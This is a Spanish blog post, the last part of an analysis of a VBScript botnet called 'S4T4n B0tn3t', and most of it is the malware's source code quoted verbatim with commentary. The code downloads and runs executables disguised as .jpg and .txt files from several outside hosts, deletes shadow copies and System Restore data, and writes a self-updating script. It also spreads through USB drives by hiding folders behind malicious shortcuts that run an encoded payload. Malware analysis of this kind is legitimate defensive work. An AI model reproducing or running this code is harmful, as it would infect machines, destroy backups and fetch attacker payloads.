viernes, 6 de mayo de 2016

Analizando "S4T4n B0tn3t" - Parte 4 y última

Continuamos con el análisis.

En el trozo de código que se muestra a continuación se procede a realizar varias tareas de usa sola tirada:

1.- Se accede a la carpeta “\system32\drivers” para renombrar el archivo: “flpydisk.sys” por el nombre: “flpydisk.sy_”. La ubicación de la carpeta a la que se ha accedido depende del contenido de la variable del sistema: “systemroot”.

NOTA: Habitualmente el contenido de esta variable será: “C:\Windows

2.- Tras esta acción se procederá a eliminar a los siguientes archivos:
               
                2.1.- \security\system.bat
                2.2.- \security\system.exe
                2.3.- \kernel\explorer.exe
                2.4.- \kernel\update.exe
                2.5.- reskp.exe

Las cuatro primeras eliminaciones se ubican en la carpeta indicada por el contenido de la variable del sistema: “systemdrive”, que normalmente contendrá el valor: “C:

Hay que recordar que estas carpetas han sido creadas por el propio código de la botnet, y permanecen con la propiedad “oculta” activada.

La última eliminación se ubica en la carpeta indicada por el contenido de la variable: “temp”.

3.- Por último elimina el directorio: “system32” y todo su contenido, ubicado en “C:”  


Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K cd/d %systemroot%\system32\drivers & ren flpydisk.sys flpydisk.sy_ & del/f/q/s %systemdrive%\security\system.bat & del/f/q/s %systemdrive%\security\system.exe & del/f/q/s %systemdrive%\kernel\explorer.exe & del/f/q/s %systemdrive%\kernel\update.exe & del/f/q/s ""%temp%\reskp.exe"" & rd/q/s %systemdrive%\system32 & EXIT",0
Set oShell = Nothing

En el trozo de código que se muestra a continuación se procede a crear el archivo: “rescue.vbe” en la ruta marcada por la variable: “Allusersprofile”.

NOTA: Habitualmente el contenido de esta variable será: “C:\ProgramData

r00t=shell.ExpandEnvironmentStrings("%Allusersprofile%")
bkdr=r00t & "\rescue.vbe"

set fsO = CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile(bkdr, ForWriting , true)

f.writeline "  On error resume Next "

f.writeline "  wscript.sleep 30000 " '

f.writeline " set variable=createobject(""wscript.shell"") "
f.writeline " variable.run ""%systemroot%\system32\wscript.exe /e:VBScript.Encode """""&var1&"\kernel\r00t3r"",false "

f.writeline "  wscript.sleep 300000 " '
f.writeline "  Set shell = WScript.CreateObject(""WScript.Shell"") "
f.writeline "  Set WshShell = Wscript.CreateObject(""Wscript.shell"") "
f.writeline "  tmpdir=shell.ExpandEnvironmentStrings(""%temp%"") "
f.writeline "  set wshshell=createobject(""wscript.shell"") "
f.writeline "  mane = ""http://bootme.me.pn/""             "
f.writeline "  yow = ""booter.""   "
f.writeline "  fin = ""dat""   "
f.writeline "  strFileURL = "" ""&mane&""""&yow&""""&fin&"" ""  "
f.writeline "  strHDLocation = tmpdir & ""\booter.dat""   "
f.writeline "  set objXMLHTTP = CreateObject(""MSXML2.XMLHTTP"")   "
f.writeline "  objXMLHTTP.open ""GET"", strFileURL, false   "
f.writeline "  objXMLHTTP.send()  "
f.writeline "  If objXMLHTTP.Status = 200 Then   "
f.writeline "  Set objADOStream = _   "
f.writeline "  CreateObject(""ADODB.Stream"")   "
f.writeline "  objADOStream.Open  "
f.writeline "  objADOStream.Type = 1 'adTypeBinary   "
f.writeline "  objADOStream. _   "
f.writeline "  Write _   "
f.writeline "  objXMLHTTP _   "
f.writeline "  .ResponseBody   "
f.writeline "  objADOStream. _   "
f.writeline "  Position = 0   "
f.writeline "  Set objFSO = _   "
f.writeline "  Createobject(""Scripting.FileSystemObject"")  "
f.writeline "  If objFSO. _   "
f.writeline "  Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation   "
f.writeline "  Set objFSO = Nothing   "
f.writeline "  objADOStream _   "
f.writeline " .SaveToFile strHDLocation   "
f.writeline "  objADOStream.Close   "
f.writeline "  Set objADOStream = Nothing   "
f.writeline "  End if   "
f.writeline "  a = objXMLHTTP.getResponseHeader(""Content-Length"")   "
f.writeline "  Set objXMLHTTP = Nothing   "
f.writeline " set loFSO = CreateObject(""Scripting.FileSystemObject"")   "
f.writeline " loFSO.CopyFile """"&tmpdir&""\booter.dat"",""""&tmpdir&""\reskp.exe""   "
f.writeline " loFSO.DeleteFile """"&tmpdir&""\booter.dat""   "
f.writeline " Set oFSO = CreateObject(""Scripting.FileSystemObject"")   "
f.writeline " stFichier = """"&tmpdir&""\reskp.exe""   "
f.writeline " Set oFl = oFSO.GetFile(stFichier)   "
f.writeline " b = oFl.size   "
f.writeline " if """"&a&"""" = """"&b&"""" then   "
f.writeline " set variable=createobject(""wscript.shell"")   "
f.writeline " variable.run """"""""&tmpdir&""\reskp.exe"""""",0,False   "
f.writeline " else   "
f.writeline " end if  "
f.close

Visualmente, el archivo creado es:

Archivo “rescue.vbe”

Este realizará lo siguiente:

1.- Permanecerá inactivo durante 30 segundos.
2.- Codificara el archivo “r00t3r” ubicado en la carpeta: “kernel
3.- Permanecerá inactivo durante otros 30 segundos
4.- Realizará una petición basada en protocolo HTTP a la URL: http://bootme.pn/booter.dat
5.- Lo que se descargue se descargará en la ubicación: “<carpeta temporal>/booter.dat”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
6.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “reskp.exe
7.- Elimina en archivo descargado: “booter.dat
8.- Ejecutamos el archivo: “reskp.exe

Conclusiones: Estamos ante un procedimiento de actualización.


On error Resume NexT

En el trozo de código que se muestra a continuación se procede a eliminar las copias de seguridad realizadas por el propio sistema operativo.


Drive = ""
  Set obj = GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
  ret=obj.Disable(Drive)
  Set obj = GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
  ret=obj.Enable(Drive)
  ret=obj.Enable(Drive)
  Set obj = Nothing

set wshshell=createobject("wscript.shell")
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K vssadmin delete shadows /all /quiet & cd/d ""%systemdrive%\system volume Information"" & del/f/s/q/a ""%systemdrive%\system volume Information\*.*"" & EXIT",0
Set oShell = Nothing

En el trozo de código que se muestra a continuación se procede a ejecutar un bucle que permite parar la ejecución del código durante un cierto tiempo.

prem = TotalTime
deux = Start
dern = PauseTime

While True
        dern = 3600    
        deux = Timer   
        Do While Timer < deux + dern


En el trozo de código que se muestra a continuación se procede a llamar al procedimiento: detectarracines.

detecterracines

Tras lo cual, se procede a dormir la ejecución del código durante 1 segundo

wscript.sleep 1000

En el trozo de código que se muestra a continuación se procede a ejecutar un bucle que estará ejecutándose en todo momento que solicitará recursos de Internet.

Pasamos a analizarlo.

Loop

En el trozo de código que se muestra a continuación se procede a escribir el valor 0 en la clave de registro:

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
     
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0, "REG_DWORD"

En el trozo de código que se muestra a continuación se procede a realizar una petición hacia Internet solicitando la siguiente URL: http://registered.co.nf


oN eRroR rEsumE NeXT
Set xmlHttp = CreateObject("MSXML2.ServerXMLHTTP")
urlCert = "http://registered.co.nf/"
xmlHttp.Open "GET", urlCert, False
xmlHttp.Send ""
xmlHttp.Abort


En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://timalin.99k.org/system.txt
2.- Lo que se descargue se descargará en la ubicación: “C:\security\system.txt”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “system.bat
4.- Elimina en archivo descargado: “system.txt
5.- Ejecutamos el archivo: “system.bat


set wshshell=createobject("wscript.shell")
first = "http://timalin.99k.org/"           
secon = "system."
ext = "txt"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\security\"
strHDLocation = ""&third&""&secon&""&ext&""
set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
  Set objADOStream = CreateObject("ADODB.Stream")
  objADOStream.Open
  objADOStream.Type = 1
  objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0
  
  Set objFSO = Createobject("Scripting.FileSystemObject")
  If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

  objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
End if
a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing

set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&third&"system.txt",""&third&"system.bat"
loFSO.DeleteFile ""&third&"system.txt"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"system.bat"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then

set variable=createobject("wscript.shell")
variable.run """"&var1&"\security\system.bat""",0,False

else
end if

En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://ttimalin.0fees.net/system.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\security\system.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “system.exe
4.- Elimina en archivo descargado: “system.jpg
5.- Ejecutamos el archivo: “system.exe
      
 set wshshell=createobject("wscript.shell")
 first = "http://ttimalin.0fees.net/"
 secon = "system."
 ext = "jpg"
 strFileURL = ""&first&""&secon&""&ext&""
 third = ""&var1&"\security\"
 strHDLocation = ""&third&""&secon&""&ext&""
 set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
 objXMLHTTP.open "GET", strFileURL, false
 objXMLHTTP.send()
 If objXMLHTTP.Status = 200 Then
  Set objADOStream = CreateObject("ADODB.Stream")
  objADOStream.Open
  objADOStream.Type = 1
  objADOStream.Write objXMLHTTP.ResponseBody
  objADOStream.Position = 0
  Set objFSO = Createobject("Scripting.FileSystemObject")
  If objFSO. Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

  Set objFSO = Nothing
  objADOStream.SaveToFile strHDLocation
  objADOStream.Close
  Set objADOStream = Nothing
 End if
 a = objXMLHTTP.getResponseHeader("Content-Length")
 Set objXMLHTTP = Nothing

set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&third&"system.jpg",""&third&"system.exe"
loFSO.DeleteFile ""&third&"system.jpg"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"system.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
 set variable=createobject("wscript.shell")
 variable.run """"&var1&"\security\system.exe""",0,False
else
end if

En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://d0n10ader.sxq.net/explorer.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\kernel\explorer.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “explorer.exe
4.- Elimina en archivo descargado: “explorer.jpg
5.- Ejecutamos el archivo: “explorer.exe

set wshshell=createobject("wscript.shell")

first = "http://d0nl0ader.zxq.net/"
secon = "explorer."
ext = "jpg"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation = ""&third&""&secon&""&ext&""

set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
 Set objADOStream = CreateObject("ADODB.Stream")
 objADOStream.Open
 objADOStream.Type = 1
 objADOStream.Write objXMLHTTP.ResponseBody
 objADOStream. Position = 0
 Set objFSO = Createobject("Scripting.FileSystemObject")
 If objFSO. Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
 Set objFSO = Nothing
 objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
End if

a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing

set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&var1&"\kernel\explorer.jpg",""&var1&"\kernel\explorer.exe"
loFSO.DeleteFile ""&var1&"\kernel\explorer.jpg"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"explorer.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then

set variable=createobject("wscript.shell")
variable.run """"&var1&"\Kernel\explorer.exe""",0,False

else
end if

En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://r000t3r.zzl.org/update.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\kernel\update.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “update.exe
4.- Elimina en archivo descargado: “update.jpg
5.- Ejecutamos el archivo: “update.exe


set wshshell=createobject("wscript.shell")
first = "http://r000t3r.zzl.org/"  
secon = "update."
ext = "jpg"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation = ""&third&""&secon&""&ext&""

set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
 Set objADOStream = CreateObject("ADODB.Stream")
 objADOStream.Open
 objADOStream.Type = 1
 objADOStream.Write objXMLHTTP.ResponseBody
 objADOStream.Position = 0

 Set objFSO = Createobject("Scripting.FileSystemObject")
 If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

 Set objFSO = Nothing
 objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
End if

a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&var1&"\kernel\update.jpg",""&var1&"\kernel\Update.exe"
loFSO.DeleteFile ""&var1&"\kernel\update.jpg"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"Update.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
 set variable=createobject("wscript.shell")
 variable.run """"&var1&"\kernel\Update.exe""",0,False
else
end if

Y finaliza el bucle.

Wend

En el trozo de código que se muestra a continuación se procede a analizar el procedimiento: ”detecterracines()

sub detecterracines()

set fsO = CreateObject("Scripting.FileSystemObject")
set wshshell=createobject("wscript.shell")
Dim fso, d, dc, s, n

En el trozo de código que se muestra a continuación se procede a obtener todas las unidades creadas por el sistema.

Set dc = fso.Drives

Y para cada una de ellas…

For Each d in dc
racine = d.Driveletter & ":"

Se determina el tipo de unidad que es …

       u= detectamovibles(racine)

Si la unidad es de tipo “Amovible” o “Fixe”, está preparada y no es la unidad “A:”, entonces…

       if u = "Amovible" or u = "Fixe" and d.isready and racine <> "A:" then
             set fsO = CreateObject("Scripting.FileSystemObject")

Se determina la existencia del archivo “config.dat” en la unidad analizada

             if fsO.FileExists(""&d&"\config.dat") Then

Si existe, se determina la cantidad de datos que contiene:

1.- Si tiene más de 20 líneas, entonces se copia el contenido de las carpetas “c:\security” y “c:\kernel” en la unidad analizada, si establecen las propiedades de: “sistema” y “oculto”.

2.- Si tiene menos de 20 líneas, entonces se elimina el archivo “config.dat” de la unidad analizada.

3.- Si tiene 20 líneas, entonces se comprueba la diferencia entra la fecha del archivo “config.dat” y la fecha del sistema. Si la diferencia fuera inferior a “0”, entonces se elimina el archivo “config.dat” de la unidad y se copia en su lugar el archivo “blood.dat” ubicado en la carpeta: “C:\security

                    Dim oFso, f
                    Dim ts, nl
                    Set oFso = CreateObject("Scripting.FileSystemObject")
                    Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)
                    ts = f.ReadAll

                    if ""&f.line&"" > 20 then
                           f.close

                           Set oShell = WScript.CreateObject ("WScript.Shell")
     oShell.run "cmd /K del/f/q/A ""%systemdrive%\security\*.dat"" & xcopy /C /H /Y /R   """&d&"\config.dat"" ""%systemdrive%\security"" & attrib -s -h ""%systemdrive%\security\*.*"" & ren ""%systemdrive%\security\*.*"" blood.dat & EXIT",0

                           oShell.run "cmd /K del/f/q/A ""%systemdrive%\kernel\*.dat"" & xcopy /C /H /Y /R """&d&"\config.dat"" ""%systemdrive%\kernel"" & attrib -s -h ""%systemdrive%\kernel\*.*"" & ren ""%systemdrive%\kernel\*.*"" r00t3r & attrib +s +h ""%systemdrive%\kernel\*.*"" & EXIT",0

                           Set oShell = Nothing
                    end if

                    Set oFso = CreateObject("Scripting.FileSystemObject")
                    Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)
                    ts = f.ReadAll
                    if ""&f.line&"" < 20 then
                           f.close

                           set fsO = CreateObject("Scripting.FileSystemObject")
                           fso.deletefile(""&d&"\config.dat"),true
                    end if

                    Set oFso = CreateObject("Scripting.FileSystemObject")
                    Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)

                    ts = f.ReadAll 
                    if ""&f.line&"" = 20 then
                           f.close

Dim stFichier
Dim oFl
Set oFSO = CreateObject("Scripting.FileSystemObject")
                    stFichier = ""&d&"\config.dat"
Set oFl = oFSO.GetFile(stFichier)       
Set f = ofso.GetFile(stFichier)
fdate = f.DateLastModified
fname = f.Name
dtDiffFile = DateDiff("d", Now, fdate)

If dtDiffFile < 0 Then
fso.DeleteFile(stFichier),true

Dim oShell
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K cd/d ""%systemdrive%\security"" & copy /b /y blood.dat + & EXIT",0
Set oShell = Nothing

end if
end if
else

Si el archivo “config.dat” no existe, se pasa a :

1.- Generar un archivo de nombre: “tmp.bat” en la carpeta temporal del sistema, en donde se almacenará el siguiente código.

Contenido del archivo: “tmp.bat”

El código hace lo siguiente:

1.- Elimina de la unidad todo archivo con extensión: “.vbe”, “.lnk”, así como los archivos: “config.dat”, “autorun.dat” y “microsoft.dat
2.- Copia el archivo: “blood.dat”, ubicado en la carpeta: “c:\security”, a la unidad seleccionada con el nombre: “config.dat
3.- Al nuevo archivo “config.dat” copia anteriormente se le otorgan las propiedades del “sistema” y “oculto”.
4.- Elimina de la unidad “C:” el archivo: “autorun.inf”, así como todos los archivos con extensión “.lnk


tmpdir=shell.ExpandEnvironmentStrings("%temp%")
                    nomficl=tmpdir & "\tmp.bat"
set f = fso.OpenTextFile(nomficl, ForWriting , true)

                    f.writeline "del/f/q/a """&d&"\*.vbe"" "
                    f.writeline "del/f/q/a """&d&"\*.lnk"" "
                    f.writeline "del/f/q/a """&d&"\config.dat"" "
                    f.writeline "del/f/q/a """&d&"\autorun.inf"" "
                    f.writeline "del/f/q/a """&d&"\microsoft.dat"" "
                    f.writeline "xcopy /C /H /Y /R """&MyF&""" """&d&"\"" "
                    f.writeline "ren """&d&"\blood.dat"" config.dat "
                    f.writeline "attrib +s +H """&d&"\config.dat"" "
                    f.writeline "del/f/q/a ""%systemdrive%\*.lnk"" "
                    f.writeline "del/f/q/a ""%systemdrive%\autorun.inf"" "
                    f.close

Se ejecuta el archivo “tmp.bat

set variable = createobject("wscript.shell")
variable.run ""&nomficl&"" ,0,true
fso.DeleteFile nomficl, true

Const ForWriting = 2
RootFolder = ""&d&""

Ahora, por cada subdirectorio de la unidad, se crea un archivo de tipo “.lnk”, que antes de acceder al subdirectorio ejecutará el archivo “config.dat”. El subdirectorio es configurado con las propiedades de: “solo lectura”, “oculto” y “del sistema”.

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(RootFolder)
Set colSubfolders = objFolder.Subfolders

For Each objSubfolder in colSubfolders
exit for
next

set oShell = CreateObject("WScript.Shell")
sDesktop = WSHShell.SpecialFolders("Desktop")
set oSLink = WSHShell.CreateShortcut(""&d&"\"&objSubfolder.Name&".lnk")
strTarget = oShell.ExpandEnvironmentStrings("%windir%")
oSLink.TargetPath = strTarget & "\system32\cmd.exe"
oSLink.Arguments = "/c start WScRiPt.EXe /e:VBScRIpt.ENcOdE config.dat & C:\WINDOWS\explorer.exe "&objSubfolder.Name&" "
oSLink.WindowStyle = 7
oSLink.IconLocation = "%SystemRoot%\system32\SHELL32.dll,-4"
oSLink.Save

on error resume next

Set objFSo = CreateObject("scripting.FileSystemObject")
Set objFile = objFSo.GetFile(""&d&"\"&objSubfolder.Name&".lnk")

objFile.Attributes = 1

Set objFSO = CreateObject("Scripting.FileSystemObject" )
Set objFolder = objFSO.GetFolder(""&d&"\"&objSubfolder.Name&"")
                    objFolder.Attributes = objFolder.Attributes XOR 6

end if
end if
Next
end sub

Conclusión: Estamos ante el procedimiento que permite ejecutar el vector de infección.

En el trozo de código que se muestra a continuación se puede ver la función: ”detectamovibles()”, que permite determinar el tipo de unidad que se le pasa como parámetro.

Function detectamovibles(drvpath)

Dim fso, d, s, t

set fsO = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(drvpath)))
Select Case d.DriveType
Case 1: t = "Amovible"
Case 2: t = "Fixe"
End Select
detectamovibles = t

End Function


GRACIAS A:

'========================================================================================='
'
' C0d3 N4me : S4-|-4|\| |30-|-
' Cr34t0r : GRICCO
' Created for personal use , modifications or others are not authorized
' For more informations, looking 4 me { - CNG4L }
'
'========================================================================================='


POR FIN ... ¡FIN!